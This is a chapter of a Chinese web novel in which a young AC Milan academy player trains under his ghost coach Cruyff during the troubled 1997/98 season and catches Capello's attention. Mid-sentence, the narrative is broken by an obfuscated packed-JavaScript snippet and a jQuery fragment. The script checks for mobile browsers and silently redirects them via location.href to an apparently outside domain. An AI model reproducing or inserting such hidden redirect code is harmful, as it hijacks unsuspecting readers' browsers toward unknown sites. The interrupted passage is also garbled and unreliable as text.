AC米兰在1997/98赛季初并未摆脱颓势，先后以1比1战平皮亚琴察和拉齐奥，随后又负于乌迪内斯，三轮比赛仅积2分；而在意大利杯的比赛中，红黑军团在圣西罗主场迎战意乙球队雷吉纳，双方互交白卷，连续4场不胜让球迷愤怒不已，甚至有一小撮极端球迷会时常聚集在米兰内洛外抗议。
一时间，俱乐部的整体情绪陷入低迷。这种失利的阴云不仅笼罩着一线队的更衣室，也悄然弥漫到了青训营的每一个角落，年轻人们在训练场上的喊叫声似乎都比往日收敛了几分。
不过乔瓦尼是个例外。他刚加入AC米兰不久，对球队过去的辉煌了解有限，更何况他踢球的时间满打满算也不到两年。俱乐部的胜负荣辱对他而言，仍是一种需要旁观和学习的陌生概念，哪怕他已经随米兰青年队踢了几场比赛。
由于马尔蒂尼每天下训后都会开车送他回家，所以乔瓦尼总会利用青训营与一线队下训的时间差加练一些项目。在进入米兰青训的这两个月里，乔瓦尼几乎每天都在以令人跌破眼镜的速度进步，他的天赋与勤奋已经征服了米兰的所有青训教练以及年轻球员，没有人敢轻视这个突然从未知角落冒出来的新星。
按塔索蒂的话来说，乔瓦尼如今在右路几乎是如鱼得水，要不是体能还不够充足，肯定能坐稳青年队的首发主力。但即算这样，在最近两场的米兰青年队比赛中，乔瓦尼依旧得到了首发机会，并在场均出场时间不到60分钟的情况下实现了3次助攻、1粒进球。
顺便一提，他在进来青训营的第二天就和俱乐部签署了一份为期2年的青训合同，每月可以领取少量固定补助，如果随队参加比赛还有额外奖金。这让从前只能在小镇餐厅后厨打扫卫生挣零花钱的乔瓦尼十分满意。
“嘭！”乔瓦尼用右脚外脚背一脚把球踢了出去，皮球在空中划过一道不太明显的弧线，落在30米外标志桶的旁边。
“啊，可惜！”没能正中目标的乔瓦尼低呼了一声，立刻又拿来一个球放在脚下。
“你刚才收腿太快了，力量还没完全传导到球上。”克鲁伊夫站在一旁指点，“所以球几乎没有弧度，用外脚背长传时动作一定要做完整。”
乔瓦尼点了点头。
少年深吸一口气，支撑脚踏稳，脚尖稍微指向目标，右腿从后摆起，用外脚背狠狠踢出，动作做完整——
“嘭！”皮球这次的弧线明显了不少，但却落在了距离标志桶更远的地方。
乔瓦尼感觉自己好像抓住了什么，他得立刻再来一次。
这一次，他稍微调整了支撑脚的方向，踢球腿顺势延伸，身体微微跟随旋转。皮球划出一道弧线，落在标志桶旁边，比上一次接近了许多。
乔瓦尼的嘴角微微上扬，他感觉到那一瞬间腿部和球产生的联系，随动的力量让球顺着想去的方向飞行。
接下来他又踢了将近十分钟，终于连续成功击中标志桶三次，这让乔瓦尼不禁握拳挥舞了两下。
少年立刻又捡来一个球，这次却放在了另一边，该轮到左脚了。
“你还要练习逆足长传吗？”一个陌生的声音忽然在背后响起，打断了乔瓦尼的动作。
少年立刻扭身，就发现一个穿着运动服的中年男人站在距离自己不远的地方，表情非常严肃。
应该是某个没见过的教练？乔瓦尼心里想，毕竟AC米兰的教练实在太多了，才来两个月的他不可能每一个都认识。
不过面对男人的问题，乔瓦尼还是立正站好：“先生，左脚也不算是我的逆足，我从开始踢球的时候，就是左右脚一起踢的。”他还记得自己刚学踢球的时候，被幽灵约翰嘲笑没有一只脚像惯用脚，双脚都像逆足。
但对面严肃的男人似乎不太相信乔瓦尼的话：“那你用左脚来一次刚才的动作。”
乔瓦尼闻言点头，他转身站在皮球前，左腿从后摆起，按照刚才右脚外脚背练习时领悟到的要领——
“嘭！”皮球腾空而起，划出一道较为清晰的弧线，落在距离标志桶不远的地方。
因为已经掌握了动作要领，乔瓦尼左脚外脚背的第一次尝试要比右脚强不少，接下来他只需要通过不断练习增加脚感即可。
少年再次扭头转向身后的中年陌生教练，可对方却问出了一个与足球无关的问题：“你没听到刚刚内洛外面的吵闹声吗？”
乔瓦尼心说自己又不是没长耳朵，“我听见了，可最近他们不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383109|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是每天都会来吗？”
少年的语气就像是在说“最近每天都下雨”一样，听不出任何的情绪波动。
AC米兰主帅卡佩罗愣了一下。他原本是要和助教一起去处理基地外极端球迷的事情，但走到半路，却看到一个青训球员正在训练场上加练。为了保证一线队的训练质量，保安之前曾多次驱赶示威球迷，今天这伙人跑到了更靠近青训营的一侧。按理说，这里受到的干扰应该更大。
然而眼前的少年却无视噪音，坚持练了整整十分钟，还不断修正动作，成功命中目标。在俱乐部整体情绪低迷的背景下，这孩子的专注与坚韧就显得格外“刺眼”了。
“你叫什么名字？”卡佩罗忽然问道。
“乔瓦尼·米拉尼。”
“那你继续练吧。”记下名字的卡佩罗绷着脸点了点头，然后转身离去。
乔瓦尼心里疑惑了一下，但很快又转过身，把球放在脚下。
“约翰，你刚才为什么一直不出声？他是谁？”
克鲁伊夫双手插兜，语气平淡：“他？是AC米兰现任主教练，卡佩罗。”
“——嘭！”乔瓦尼闻言，踢呲了脚下的球。
少年猛地转身，瞪向自己的幽灵教练：“那你为什么不提醒我？我不会给他留下了什么糟糕印象吧？”
克鲁伊夫只是勾了勾嘴角：“以我对他的了解，他反而会挺欣赏你的。”
卡佩罗是那种防守至上、极重纪律，又特别看重职业态度的教练。对他而言，一个能在压力和干扰下依然保持专注、并且不断修正自己的青训球员，无疑正合他的心意。
再次回到AC米兰的卡佩罗好像失去了他的魔力。在接下来的两轮联赛中，AC米兰一胜一负，以总积分5分排在联赛第13位。眼下，他们即将在主场迎战联赛垫底的莱切。如果队内士气高涨，这本不该是一场艰难的比赛，但所有人都清楚，这场比赛绝不能输。
在巨大的压力下，队员们在训练赛中频频出现失误。卡佩罗明白，他必须做出一些调整。在犹豫了两三分钟后，他还是拨通了办公室里的座机：
“是我。我需要毛罗过来一趟，把那个叫乔瓦尼·米拉尼的球员的全部资料带来。”